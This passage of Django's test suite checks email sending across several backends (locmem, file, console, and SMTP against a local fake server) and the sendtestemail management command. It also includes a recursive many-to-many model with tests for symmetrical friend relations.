        # Unicode characters are are supported in RFC-6532.
        self.assertEqual(
            sanitize_address('tó@example.com', 'utf-8'),
            '=?utf-8?b?dMOz?=@example.com'
        )
        self.assertEqual(
            sanitize_address(('Tó Example', 'tó@example.com'), 'utf-8'),
            '=?utf-8?q?T=C3=B3_Example?= <=?utf-8?b?dMOz?=@example.com>'
        )


@requires_tz_support
class MailTimeZoneTests(SimpleTestCase):

    @override_settings(EMAIL_USE_LOCALTIME=False, USE_TZ=True, TIME_ZONE='Africa/Algiers')
    def test_date_header_utc(self):
        """
        EMAIL_USE_LOCALTIME=False creates a datetime in UTC.
        """
        email = EmailMessage('Subject', 'Body', 'bounce@example.com', ['to@example.com'])
        self.assertTrue(email.message()['Date'].endswith('-0000'))

    @override_settings(EMAIL_USE_LOCALTIME=True, USE_TZ=True, TIME_ZONE='Africa/Algiers')
    def test_date_header_localtime(self):
        """
        EMAIL_USE_LOCALTIME=True creates a datetime in the local time zone.
        """
        email = EmailMessage('Subject', 'Body', 'bounce@example.com', ['to@example.com'])
        self.assertTrue(email.message()['Date'].endswith('+0100'))  # Africa/Algiers is UTC+1


class PythonGlobalState(SimpleTestCase):
    """
    Tests for #12422 -- Django smarts (#2472/#11212) with charset of utf-8 text
    parts shouldn't pollute global email Python package charset registry when
    django.mail.message is imported.
    """

    def test_utf8(self):
        txt = MIMEText('UTF-8 encoded body', 'plain', 'utf-8')
        self.assertIn('Content-Transfer-Encoding: base64', txt.as_string())

    def test_7bit(self):
        txt = MIMEText('Body with only ASCII characters.', 'plain', 'utf-8')
        self.assertIn('Content-Transfer-Encoding: base64', txt.as_string())

    def test_8bit_latin(self):
        txt = MIMEText('Body with latin characters: àáä.', 'plain', 'utf-8')
        self.assertIn(str('Content-Transfer-Encoding: base64'), txt.as_string())

    def test_8bit_non_latin(self):
        txt = MIMEText('Body with non latin characters: А Б В Г Д Е Ж Ѕ З И І К Л М Н О П.', 'plain', 'utf-8')
        self.assertIn(str('Content-Transfer-Encoding: base64'), txt.as_string())


class BaseEmailBackendTests(HeadersCheckMixin, object):
    email_backend = None

    def setUp(self):
        self.settings_override = override_settings(EMAIL_BACKEND=self.email_backend)
        self.settings_override.enable()

    def tearDown(self):
        self.settings_override.disable()

    def assertStartsWith(self, first, second):
        if not first.startswith(second):
            self.longMessage = True
            self.assertEqual(first[:len(second)], second, "First string doesn't start with the second.")

    def get_mailbox_content(self):
        raise NotImplementedError('subclasses of BaseEmailBackendTests must provide a get_mailbox_content() method')

    def flush_mailbox(self):
        raise NotImplementedError('subclasses of BaseEmailBackendTests may require a flush_mailbox() method')

    def get_the_message(self):
        mailbox = self.get_mailbox_content()
        self.assertEqual(
            len(mailbox), 1,
            "Expected exactly one message, got %d.\n%r" % (len(mailbox), [m.as_string() for m in mailbox])
        )
        return mailbox[0]

    def test_send(self):
        email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com'])
        num_sent = mail.get_connection().send_messages([email])
        self.assertEqual(num_sent, 1)
        message = self.get_the_message()
        self.assertEqual(message["subject"], "Subject")
        self.assertEqual(message.get_payload(), "Content")
        self.assertEqual(message["from"], "from@example.com")
        self.assertEqual(message.get_all("to"), ["to@example.com"])

    def test_send_unicode(self):
        email = EmailMessage('Chère maman', 'Je t\'aime très fort', 'from@example.com', ['to@example.com'])
        num_sent = mail.get_connection().send_messages([email])
        self.assertEqual(num_sent, 1)
        message = self.get_the_message()
        self.assertEqual(message["subject"], '=?utf-8?q?Ch=C3=A8re_maman?=')
        self.assertEqual(force_text(message.get_payload(decode=True)), 'Je t\'aime très fort')

    def test_send_long_lines(self):
        """
        Email line length is limited to 998 chars by the RFC:
        https://tools.ietf.org/html/rfc5322#section-2.1.1
        Message body containing longer lines are converted to Quoted-Printable
        to avoid having to insert newlines, which could be hairy to do properly.
        """
        email = EmailMessage('Subject', "Comment ça va? " * 100, 'from@example.com', ['to@example.com'])
        email.send()
        message = self.get_the_message()
        self.assertMessageHasHeaders(message, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/plain; charset="utf-8"'),
            ('Content-Transfer-Encoding', 'quoted-printable'),
        })

    def test_send_many(self):
        email1 = EmailMessage('Subject', 'Content1', 'from@example.com', ['to@example.com'])
        email2 = EmailMessage('Subject', 'Content2', 'from@example.com', ['to@example.com'])
        # send_messages() may take a list or a generator.
        emails_lists = ([email1, email2], (email for email in [email1, email2]))
        for emails_list in emails_lists:
            num_sent = mail.get_connection().send_messages(emails_list)
            self.assertEqual(num_sent, 2)
            messages = self.get_mailbox_content()
            self.assertEqual(len(messages), 2)
            self.assertEqual(messages[0].get_payload(), 'Content1')
            self.assertEqual(messages[1].get_payload(), 'Content2')
            self.flush_mailbox()

    def test_send_verbose_name(self):
        email = EmailMessage("Subject", "Content", '"Firstname Sürname" <from@example.com>',
                             ["to@example.com"])
        email.send()
        message = self.get_the_message()
        self.assertEqual(message["subject"], "Subject")
        self.assertEqual(message.get_payload(), "Content")
        self.assertEqual(message["from"], "=?utf-8?q?Firstname_S=C3=BCrname?= <from@example.com>")

    def test_plaintext_send_mail(self):
        """
        Test send_mail without the html_message
        regression test for adding html_message parameter to send_mail()
        """
        send_mail('Subject', 'Content', 'sender@example.com', ['nobody@example.com'])
        message = self.get_the_message()

        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get_all('to'), ['nobody@example.com'])
        self.assertFalse(message.is_multipart())
        self.assertEqual(message.get_payload(), 'Content')
        self.assertEqual(message.get_content_type(), 'text/plain')

    def test_html_send_mail(self):
        """Test html_message argument to send_mail"""
        send_mail('Subject', 'Content', 'sender@example.com', ['nobody@example.com'], html_message='HTML Content')
        message = self.get_the_message()

        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get_all('to'), ['nobody@example.com'])
        self.assertTrue(message.is_multipart())
        self.assertEqual(len(message.get_payload()), 2)
        self.assertEqual(message.get_payload(0).get_payload(), 'Content')
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_payload(), 'HTML Content')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')

    @override_settings(MANAGERS=[('nobody', 'nobody@example.com')])
    def test_html_mail_managers(self):
        """Test html_message argument to mail_managers"""
        mail_managers('Subject', 'Content', html_message='HTML Content')
        message = self.get_the_message()

        self.assertEqual(message.get('subject'), '[Django] Subject')
        self.assertEqual(message.get_all('to'), ['nobody@example.com'])
        self.assertTrue(message.is_multipart())
        self.assertEqual(len(message.get_payload()), 2)
        self.assertEqual(message.get_payload(0).get_payload(), 'Content')
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_payload(), 'HTML Content')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')

    @override_settings(ADMINS=[('nobody', 'nobody@example.com')])
    def test_html_mail_admins(self):
        """Test html_message argument to mail_admins """
        mail_admins('Subject', 'Content', html_message='HTML Content')
        message = self.get_the_message()

        self.assertEqual(message.get('subject'), '[Django] Subject')
        self.assertEqual(message.get_all('to'), ['nobody@example.com'])
        self.assertTrue(message.is_multipart())
        self.assertEqual(len(message.get_payload()), 2)
        self.assertEqual(message.get_payload(0).get_payload(), 'Content')
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_payload(), 'HTML Content')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')

    @override_settings(
        ADMINS=[('nobody', 'nobody+admin@example.com')],
        MANAGERS=[('nobody', 'nobody+manager@example.com')])
    def test_manager_and_admin_mail_prefix(self):
        """
        String prefix + lazy translated subject = bad output
        Regression for #13494
        """
        mail_managers(ugettext_lazy('Subject'), 'Content')
        message = self.get_the_message()
        self.assertEqual(message.get('subject'), '[Django] Subject')

        self.flush_mailbox()
        mail_admins(ugettext_lazy('Subject'), 'Content')
        message = self.get_the_message()
        self.assertEqual(message.get('subject'), '[Django] Subject')

    @override_settings(ADMINS=[], MANAGERS=[])
    def test_empty_admins(self):
        """
        Test that mail_admins/mail_managers doesn't connect to the mail server
        if there are no recipients (#9383)
        """
        mail_admins('hi', 'there')
        self.assertEqual(self.get_mailbox_content(), [])
        mail_managers('hi', 'there')
        self.assertEqual(self.get_mailbox_content(), [])

    def test_message_cc_header(self):
        """
        Regression test for #7722
        """
        email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com'], cc=['cc@example.com'])
        mail.get_connection().send_messages([email])
        message = self.get_the_message()
        self.assertMessageHasHeaders(message, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/plain; charset="utf-8"'),
            ('Content-Transfer-Encoding', '7bit'),
            ('Subject', 'Subject'),
            ('From', 'from@example.com'),
            ('To', 'to@example.com'),
            ('Cc', 'cc@example.com')})
        self.assertIn('\nDate: ', message.as_string())

    def test_idn_send(self):
        """
        Regression test for #14301
        """
        self.assertTrue(send_mail('Subject', 'Content', 'from@öäü.com', ['to@öäü.com']))
        message = self.get_the_message()
        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get('from'), 'from@xn--4ca9at.com')
        self.assertEqual(message.get('to'), 'to@xn--4ca9at.com')

        self.flush_mailbox()
        m = EmailMessage('Subject', 'Content', 'from@öäü.com', ['to@öäü.com'], cc=['cc@öäü.com'])
        m.send()
        message = self.get_the_message()
        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get('from'), 'from@xn--4ca9at.com')
        self.assertEqual(message.get('to'), 'to@xn--4ca9at.com')
        self.assertEqual(message.get('cc'), 'cc@xn--4ca9at.com')

    def test_recipient_without_domain(self):
        """
        Regression test for #15042
        """
        self.assertTrue(send_mail("Subject", "Content", "tester", ["django"]))
        message = self.get_the_message()
        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get('from'), "tester")
        self.assertEqual(message.get('to'), "django")

    def test_lazy_addresses(self):
        """
        Email sending should support lazy email addresses (#24416).
        """
        _ = ugettext_lazy
        self.assertTrue(send_mail('Subject', 'Content', _('tester'), [_('django')]))
        message = self.get_the_message()
        self.assertEqual(message.get('from'), 'tester')
        self.assertEqual(message.get('to'), 'django')

        self.flush_mailbox()
        m = EmailMessage(
            'Subject', 'Content', _('tester'), [_('to1'), _('to2')],
            cc=[_('cc1'), _('cc2')],
            bcc=[_('bcc')],
            reply_to=[_('reply')],
        )
        self.assertEqual(m.recipients(), ['to1', 'to2', 'cc1', 'cc2', 'bcc'])
        m.send()
        message = self.get_the_message()
        self.assertEqual(message.get('from'), 'tester')
        self.assertEqual(message.get('to'), 'to1, to2')
        self.assertEqual(message.get('cc'), 'cc1, cc2')
        self.assertEqual(message.get('Reply-To'), 'reply')

    def test_close_connection(self):
        """
        Test that connection can be closed (even when not explicitly opened)
        """
        conn = mail.get_connection(username='', password='')
        conn.close()

    def test_use_as_contextmanager(self):
        """
        Test that the connection can be used as a contextmanager.
        """
        opened = [False]
        closed = [False]
        conn = mail.get_connection(username='', password='')

        def open():
            opened[0] = True
        conn.open = open

        def close():
            closed[0] = True
        conn.close = close
        with conn as same_conn:
            self.assertTrue(opened[0])
            self.assertIs(same_conn, conn)
            self.assertFalse(closed[0])
        self.assertTrue(closed[0])


class LocmemBackendTests(BaseEmailBackendTests, SimpleTestCase):
    email_backend = 'django.core.mail.backends.locmem.EmailBackend'

    def get_mailbox_content(self):
        return [m.message() for m in mail.outbox]

    def flush_mailbox(self):
        mail.outbox = []

    def tearDown(self):
        super(LocmemBackendTests, self).tearDown()
        mail.outbox = []

    def test_locmem_shared_messages(self):
        """
        Make sure that the locmen backend populates the outbox.
        """
        connection = locmem.EmailBackend()
        connection2 = locmem.EmailBackend()
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        connection.send_messages([email])
        connection2.send_messages([email])
        self.assertEqual(len(mail.outbox), 2)

    def test_validate_multiline_headers(self):
        # Ticket #18861 - Validate emails when using the locmem backend
        with self.assertRaises(BadHeaderError):
            send_mail('Subject\nMultiline', 'Content', 'from@example.com', ['to@example.com'])


class FileBackendTests(BaseEmailBackendTests, SimpleTestCase):
    email_backend = 'django.core.mail.backends.filebased.EmailBackend'

    def setUp(self):
        super(FileBackendTests, self).setUp()
        self.tmp_dir = tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, self.tmp_dir)
        self._settings_override = override_settings(EMAIL_FILE_PATH=self.tmp_dir)
        self._settings_override.enable()

    def tearDown(self):
        self._settings_override.disable()
        super(FileBackendTests, self).tearDown()

    def flush_mailbox(self):
        for filename in os.listdir(self.tmp_dir):
            os.unlink(os.path.join(self.tmp_dir, filename))

    def get_mailbox_content(self):
        messages = []
        for filename in os.listdir(self.tmp_dir):
            with open(os.path.join(self.tmp_dir, filename), 'rb') as fp:
                session = fp.read().split(force_bytes('\n' + ('-' * 79) + '\n', encoding='ascii'))
            messages.extend(message_from_bytes(m) for m in session if m)
        return messages

    def test_file_sessions(self):
        """Make sure opening a connection creates a new file"""
        msg = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        connection = mail.get_connection()
        connection.send_messages([msg])

        self.assertEqual(len(os.listdir(self.tmp_dir)), 1)
        with open(os.path.join(self.tmp_dir, os.listdir(self.tmp_dir)[0]), 'rb') as fp:
            message = message_from_binary_file(fp)
        self.assertEqual(message.get_content_type(), 'text/plain')
        self.assertEqual(message.get('subject'), 'Subject')
        self.assertEqual(message.get('from'), 'from@example.com')
        self.assertEqual(message.get('to'), 'to@example.com')

        connection2 = mail.get_connection()
        connection2.send_messages([msg])
        self.assertEqual(len(os.listdir(self.tmp_dir)), 2)

        connection.send_messages([msg])
        self.assertEqual(len(os.listdir(self.tmp_dir)), 2)

        msg.connection = mail.get_connection()
        self.assertTrue(connection.open())
        msg.send()
        self.assertEqual(len(os.listdir(self.tmp_dir)), 3)
        msg.send()
        self.assertEqual(len(os.listdir(self.tmp_dir)), 3)

        connection.close()


class ConsoleBackendTests(BaseEmailBackendTests, SimpleTestCase):
    email_backend = 'django.core.mail.backends.console.EmailBackend'

    def setUp(self):
        super(ConsoleBackendTests, self).setUp()
        self.__stdout = sys.stdout
        self.stream = sys.stdout = StringIO()

    def tearDown(self):
        del self.stream
        sys.stdout = self.__stdout
        del self.__stdout
        super(ConsoleBackendTests, self).tearDown()

    def flush_mailbox(self):
        self.stream = sys.stdout = StringIO()

    def get_mailbox_content(self):
        messages = self.stream.getvalue().split(str('\n' + ('-' * 79) + '\n'))
        return [message_from_bytes(force_bytes(m)) for m in messages if m]

    def test_console_stream_kwarg(self):
        """
        Test that the console backend can be pointed at an arbitrary stream.
        """
        s = StringIO()
        connection = mail.get_connection('django.core.mail.backends.console.EmailBackend', stream=s)
        send_mail('Subject', 'Content', 'from@example.com', ['to@example.com'], connection=connection)
        message = force_bytes(s.getvalue().split('\n' + ('-' * 79) + '\n')[0])
        self.assertMessageHasHeaders(message, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/plain; charset="utf-8"'),
            ('Content-Transfer-Encoding', '7bit'),
            ('Subject', 'Subject'),
            ('From', 'from@example.com'),
            ('To', 'to@example.com')})
        self.assertIn(b'\nDate: ', message)


class FakeSMTPChannel(smtpd.SMTPChannel):

    def collect_incoming_data(self, data):
        try:
            super(FakeSMTPChannel, self).collect_incoming_data(data)
        except UnicodeDecodeError:
            # ignore decode error in SSL/TLS connection tests as we only care
            # whether the connection attempt was made
            pass


class FakeSMTPServer(smtpd.SMTPServer, threading.Thread):
    """
    Asyncore SMTP server wrapped into a thread. Based on DummyFTPServer from:
    http://svn.python.org/view/python/branches/py3k/Lib/test/test_ftplib.py?revision=86061&view=markup
    """
    channel_class = FakeSMTPChannel

    def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self)
        # New kwarg added in Python 3.5; default switching to False in 3.6.
        if sys.version_info >= (3, 5):
            kwargs['decode_data'] = True
        smtpd.SMTPServer.__init__(self, *args, **kwargs)
        self._sink = []
        self.active = False
        self.active_lock = threading.Lock()
        self.sink_lock = threading.Lock()

    def process_message(self, peer, mailfrom, rcpttos, data):
        if PY3:
            data = data.encode('utf-8')
        m = message_from_bytes(data)
        maddr = parseaddr(m.get('from'))[1]

        if mailfrom != maddr:
            # According to the spec, mailfrom does not necessarily match the
            # From header - on Python 3 this is the case where the local part
            # isn't encoded, so try to correct that.
            lp, domain = mailfrom.split('@', 1)
            lp = Header(lp, 'utf-8').encode()
            mailfrom = '@'.join([lp, domain])

        if mailfrom != maddr:
            return "553 '%s' != '%s'" % (mailfrom, maddr)
        with self.sink_lock:
            self._sink.append(m)

    def get_sink(self):
        with self.sink_lock:
            return self._sink[:]

    def flush_sink(self):
        with self.sink_lock:
            self._sink[:] = []

    def start(self):
        assert not self.active
        self.__flag = threading.Event()
        threading.Thread.start(self)
        self.__flag.wait()

    def run(self):
        self.active = True
        self.__flag.set()
        while self.active and asyncore.socket_map:
            with self.active_lock:
                asyncore.loop(timeout=0.1, count=1)
        asyncore.close_all()

    def stop(self):
        if self.active:
            self.active = False
            self.join()


class SMTPBackendTestsBase(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        super(SMTPBackendTestsBase, cls).setUpClass()
        cls.server = FakeSMTPServer(('127.0.0.1', 0), None)
        cls._settings_override = override_settings(
            EMAIL_HOST="127.0.0.1",
            EMAIL_PORT=cls.server.socket.getsockname()[1])
        cls._settings_override.enable()
        cls.server.start()

    @classmethod
    def tearDownClass(cls):
        cls._settings_override.disable()
        cls.server.stop()
        super(SMTPBackendTestsBase, cls).tearDownClass()


class SMTPBackendTests(BaseEmailBackendTests, SMTPBackendTestsBase):
    email_backend = 'django.core.mail.backends.smtp.EmailBackend'

    def setUp(self):
        super(SMTPBackendTests, self).setUp()
        self.server.flush_sink()

    def tearDown(self):
        self.server.flush_sink()
        super(SMTPBackendTests, self).tearDown()

    def flush_mailbox(self):
        self.server.flush_sink()

    def get_mailbox_content(self):
        return self.server.get_sink()

    @override_settings(
        EMAIL_HOST_USER="not empty username",
        EMAIL_HOST_PASSWORD="not empty password")
    def test_email_authentication_use_settings(self):
        backend = smtp.EmailBackend()
        self.assertEqual(backend.username, 'not empty username')
        self.assertEqual(backend.password, 'not empty password')

    @override_settings(
        EMAIL_HOST_USER="not empty username",
        EMAIL_HOST_PASSWORD="not empty password")
    def test_email_authentication_override_settings(self):
        backend = smtp.EmailBackend(username='username', password='password')
        self.assertEqual(backend.username, 'username')
        self.assertEqual(backend.password, 'password')

    @override_settings(
        EMAIL_HOST_USER="not empty username",
        EMAIL_HOST_PASSWORD="not empty password")
    def test_email_disabled_authentication(self):
        backend = smtp.EmailBackend(username='', password='')
        self.assertEqual(backend.username, '')
        self.assertEqual(backend.password, '')

    def test_auth_attempted(self):
        """
        Test that opening the backend with non empty username/password tries
        to authenticate against the SMTP server.
        """
        backend = smtp.EmailBackend(
            username='not empty username', password='not empty password')
        try:
            with self.assertRaisesMessage(SMTPException, 'SMTP AUTH extension not supported by server.'):
                backend.open()
        finally:
            backend.close()

    def test_server_open(self):
        """
        Test that open() tells us whether it opened a connection.
        """
        backend = smtp.EmailBackend(username='', password='')
        self.assertFalse(backend.connection)
        opened = backend.open()
        backend.close()
        self.assertTrue(opened)

    @override_settings(EMAIL_USE_TLS=True)
    def test_email_tls_use_settings(self):
        backend = smtp.EmailBackend()
        self.assertTrue(backend.use_tls)

    @override_settings(EMAIL_USE_TLS=True)
    def test_email_tls_override_settings(self):
        backend = smtp.EmailBackend(use_tls=False)
        self.assertFalse(backend.use_tls)

    def test_email_tls_default_disabled(self):
        backend = smtp.EmailBackend()
        self.assertFalse(backend.use_tls)

    @override_settings(EMAIL_USE_SSL=True)
    def test_email_ssl_use_settings(self):
        backend = smtp.EmailBackend()
        self.assertTrue(backend.use_ssl)

    @override_settings(EMAIL_USE_SSL=True)
    def test_email_ssl_override_settings(self):
        backend = smtp.EmailBackend(use_ssl=False)
        self.assertFalse(backend.use_ssl)

    def test_email_ssl_default_disabled(self):
        backend = smtp.EmailBackend()
        self.assertFalse(backend.use_ssl)

    @override_settings(EMAIL_SSL_CERTFILE='foo')
    def test_email_ssl_certfile_use_settings(self):
        backend = smtp.EmailBackend()
        self.assertEqual(backend.ssl_certfile, 'foo')

    @override_settings(EMAIL_SSL_CERTFILE='foo')
    def test_email_ssl_certfile_override_settings(self):
        backend = smtp.EmailBackend(ssl_certfile='bar')
        self.assertEqual(backend.ssl_certfile, 'bar')

    def test_email_ssl_certfile_default_disabled(self):
        backend = smtp.EmailBackend()
        self.assertIsNone(backend.ssl_certfile)

    @override_settings(EMAIL_SSL_KEYFILE='foo')
    def test_email_ssl_keyfile_use_settings(self):
        backend = smtp.EmailBackend()
        self.assertEqual(backend.ssl_keyfile, 'foo')

    @override_settings(EMAIL_SSL_KEYFILE='foo')
    def test_email_ssl_keyfile_override_settings(self):
        backend = smtp.EmailBackend(ssl_keyfile='bar')
        self.assertEqual(backend.ssl_keyfile, 'bar')

    def test_email_ssl_keyfile_default_disabled(self):
        backend = smtp.EmailBackend()
        self.assertIsNone(backend.ssl_keyfile)

    @override_settings(EMAIL_USE_TLS=True)
    def test_email_tls_attempts_starttls(self):
        backend = smtp.EmailBackend()
        self.assertTrue(backend.use_tls)
        try:
            with self.assertRaisesMessage(SMTPException, 'STARTTLS extension not supported by server.'):
                backend.open()
        finally:
            backend.close()

    @override_settings(EMAIL_USE_SSL=True)
    def test_email_ssl_attempts_ssl_connection(self):
        backend = smtp.EmailBackend()
        self.assertTrue(backend.use_ssl)
        try:
            with self.assertRaises(SSLError):
                backend.open()
        finally:
            backend.close()

    def test_connection_timeout_default(self):
        """Test that the connection's timeout value is None by default."""
        connection = mail.get_connection('django.core.mail.backends.smtp.EmailBackend')
        self.assertIsNone(connection.timeout)

    def test_connection_timeout_custom(self):
        """Test that the timeout parameter can be customized."""
        class MyEmailBackend(smtp.EmailBackend):
            def __init__(self, *args, **kwargs):
                kwargs.setdefault('timeout', 42)
                super(MyEmailBackend, self).__init__(*args, **kwargs)

        myemailbackend = MyEmailBackend()
        myemailbackend.open()
        self.assertEqual(myemailbackend.timeout, 42)
        self.assertEqual(myemailbackend.connection.timeout, 42)
        myemailbackend.close()

    @override_settings(EMAIL_TIMEOUT=10)
    def test_email_timeout_override_settings(self):
        backend = smtp.EmailBackend()
        self.assertEqual(backend.timeout, 10)

    def test_email_msg_uses_crlf(self):
        """#23063 -- Test that RFC-compliant messages are sent over SMTP."""
        send = SMTP.send
        try:
            smtp_messages = []

            def mock_send(self, s):
                smtp_messages.append(s)
                return send(self, s)

            SMTP.send = mock_send

            email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com'])
            mail.get_connection().send_messages([email])

            # Find the actual message
            msg = None
            for i, m in enumerate(smtp_messages):
                if m[:4] == 'data':
                    msg = smtp_messages[i + 1]
                    break

            self.assertTrue(msg)

            if PY3:
                msg = msg.decode('utf-8')
            # Ensure that the message only contains CRLF and not combinations of CRLF, LF, and CR.
            msg = msg.replace('\r\n', '')
            self.assertNotIn('\r', msg)
            self.assertNotIn('\n', msg)

        finally:
            SMTP.send = send


class SMTPBackendStoppedServerTest(SMTPBackendTestsBase):
    """
    This test requires a separate class, because it shuts down the
    FakeSMTPServer started in setUpClass(). It cannot be restarted
    ("RuntimeError: threads can only be started once").
    """

    def test_server_stopped(self):
        """
        Test that closing the backend while the SMTP server is stopped doesn't
        raise an exception.
        """
        backend = smtp.EmailBackend(username='', password='')
        backend.open()
        self.server.stop()
        backend.close()






from __future__ import unicode_literals

from django.core import mail
from django.core.management import call_command
from django.test import SimpleTestCase, override_settings


@override_settings(
    ADMINS=(('Admin', 'admin@example.com'), ('Admin and Manager', 'admin_and_manager@example.com')),
    MANAGERS=(('Manager', 'manager@example.com'), ('Admin and Manager', 'admin_and_manager@example.com')),
)
class SendTestEmailManagementCommand(SimpleTestCase):
    """
    Test the sending of a test email using the `sendtestemail` command.
    """

    def test_single_receiver(self):
        """
        The mail is sent with the correct subject and recipient.
        """
        recipient = 'joe@example.com'
        call_command('sendtestemail', recipient)
        self.assertEqual(len(mail.outbox), 1)
        mail_message = mail.outbox[0]
        self.assertEqual(mail_message.subject[0:15], 'Test email from')
        self.assertEqual(mail_message.recipients(), [recipient])

    def test_multiple_receivers(self):
        """
        The mail may be sent with multiple recipients.
        """
        recipients = ['joe@example.com', 'jane@example.com']
        call_command('sendtestemail', recipients[0], recipients[1])
        self.assertEqual(len(mail.outbox), 1)
        mail_message = mail.outbox[0]
        self.assertEqual(mail_message.subject[0:15], 'Test email from')
        self.assertEqual(sorted(mail_message.recipients()), [
            'jane@example.com',
            'joe@example.com',
        ])

    def test_manager_receivers(self):
        """
        The mail should be sent to the email addresses specified in
        settings.MANAGERS.
        """
        call_command('sendtestemail', '--managers')
        self.assertEqual(len(mail.outbox), 1)
        mail_message = mail.outbox[0]
        self.assertEqual(sorted(mail_message.recipients()), [
            'admin_and_manager@example.com',
            'manager@example.com',
        ])

    def test_admin_receivers(self):
        """
        The mail should be sent to the email addresses specified in
        settings.ADMIN.
        """
        call_command('sendtestemail', '--admins')
        self.assertEqual(len(mail.outbox), 1)
        mail_message = mail.outbox[0]
        self.assertEqual(sorted(mail_message.recipients()), [
            'admin@example.com',
            'admin_and_manager@example.com',
        ])

    def test_manager_and_admin_receivers(self):
        """
        The mail should be sent to the email addresses specified in both
        settings.MANAGERS and settings.ADMINS.
        """
        call_command('sendtestemail', '--managers', '--admins')
        self.assertEqual(len(mail.outbox), 2)
        manager_mail = mail.outbox[0]
        self.assertEqual(sorted(manager_mail.recipients()), [
            'admin_and_manager@example.com',
            'manager@example.com',
        ])
        admin_mail = mail.outbox[1]
        self.assertEqual(sorted(admin_mail.recipients()), [
            'admin@example.com',
            'admin_and_manager@example.com',
        ])






"""
Many-to-many relationships between the same two tables

In this example, a ``Person`` can have many friends, who are also ``Person``
objects. Friendship is a symmetrical relationship - if I am your friend, you
are my friend. Here, ``friends`` is an example of a symmetrical
``ManyToManyField``.

A ``Person`` can also have many idols - but while I may idolize you, you may
not think the same of me. Here, ``idols`` is an example of a non-symmetrical
``ManyToManyField``. Only recursive ``ManyToManyField`` fields may be
non-symmetrical, and they are symmetrical by default.

This test validates that the many-to-many table is created using a mangled name
if there is a name clash, and tests that symmetry is preserved where
appropriate.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=20)
    friends = models.ManyToManyField('self')
    idols = models.ManyToManyField('self', symmetrical=False, related_name='stalkers')

    def __str__(self):
        return self.name












from __future__ import unicode_literals

from operator import attrgetter

from django.test import TestCase

from .models import Person


class RecursiveM2MTests(TestCase):
    def setUp(self):
        self.a, self.b, self.c, self.d = [
            Person.objects.create(name=name)
            for name in ["Anne", "Bill", "Chuck", "David"]
        ]

        # Anne is friends with Bill and Chuck
        self.a.friends.add(self.b, self.c)

        # David is friends with Anne and Chuck - add in reverse direction
        self.d.friends.add(self.a, self.c)

    def test_recursive_m2m_all(self):
        """ Test that m2m relations are reported correctly """
        # Who is friends with Anne?
        self.assertQuerysetEqual(
            self.a.friends.all(), [
                "Bill",
                "Chuck",
                "David"
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is friends with Bill?
        self.assertQuerysetEqual(
            self.b.friends.all(), [
                "Anne",
            ],
            attrgetter("name")
        )
        # Who is friends with Chuck?
        self.assertQuerysetEqual(
            self.c.friends.all(), [
                "Anne",
                "David"
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is friends with David?
        self.assertQuerysetEqual(
            self.d.friends.all(), [
                "Anne",
                "Chuck",
            ],
            attrgetter("name"),
            ordered=False
        )

    def test_recursive_m2m_reverse_add(self):
        """ Test reverse m2m relation is consistent """

        # Bill is already friends with Anne - add Anne again, but in the
        # reverse direction
        self.b.friends.add(self.a)

        # Who is friends with Anne?
        self.assertQuerysetEqual(
            self.a.friends.all(), [
                "Bill",
                "Chuck",
                "David",
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is friends with Bill?
        self.assertQuerysetEqual(
            self.b.friends.all(), [
                "Anne",
            ],
            attrgetter("name")
        )

    def test_recursive_m2m_remove(self):
        """ Test that we can remove items from an m2m relationship """

        # Remove Anne from Bill's friends
        self.b.friends.remove(self.a)

        # Who is friends with Anne?
        self.assertQuerysetEqual(
            self.a.friends.all(), [
                "Chuck",
                "David",
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is friends with Bill?
        self.assertQuerysetEqual(
            self.b.friends.all(), []
        )

    def test_recursive_m2m_clear(self):
        """ Tests the clear method works as expected on m2m fields """

        # Clear Anne's group of friends
        self.a.friends.clear()

        # Who is friends with Anne?
        self.assertQuerysetEqual(
            self.a.friends.all(), []
        )

        # Reverse relationships should also be gone
        # Who is friends with Chuck?
        self.assertQuerysetEqual(
            self.c.friends.all(), [
                "David",
            ],
            attrgetter("name")
        )

        # Who is friends with David?
        self.assertQuerysetEqual(
            self.d.friends.all(), [
                "Chuck",
            ],
            attrgetter("name")
        )

    def test_recursive_m2m_add_via_related_name(self):
        """ Tests that we can add m2m relations via the related_name attribute """

        # David is idolized by Anne and Chuck - add in reverse direction
        self.d.stalkers.add(self.a)

        # Who are Anne's idols?
        self.assertQuerysetEqual(
            self.a.idols.all(), [
                "David",
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is stalking Anne?
        self.assertQuerysetEqual(
            self.a.stalkers.all(), [],
            attrgetter("name")
        )

    def test_recursive_m2m_add_in_both_directions(self):
        """ Check that adding the same relation twice results in a single relation """

        # Ann idolizes David
        self.a.idols.add(self.d)

        # David is idolized by Anne
        self.d.stalkers.add(self.a)

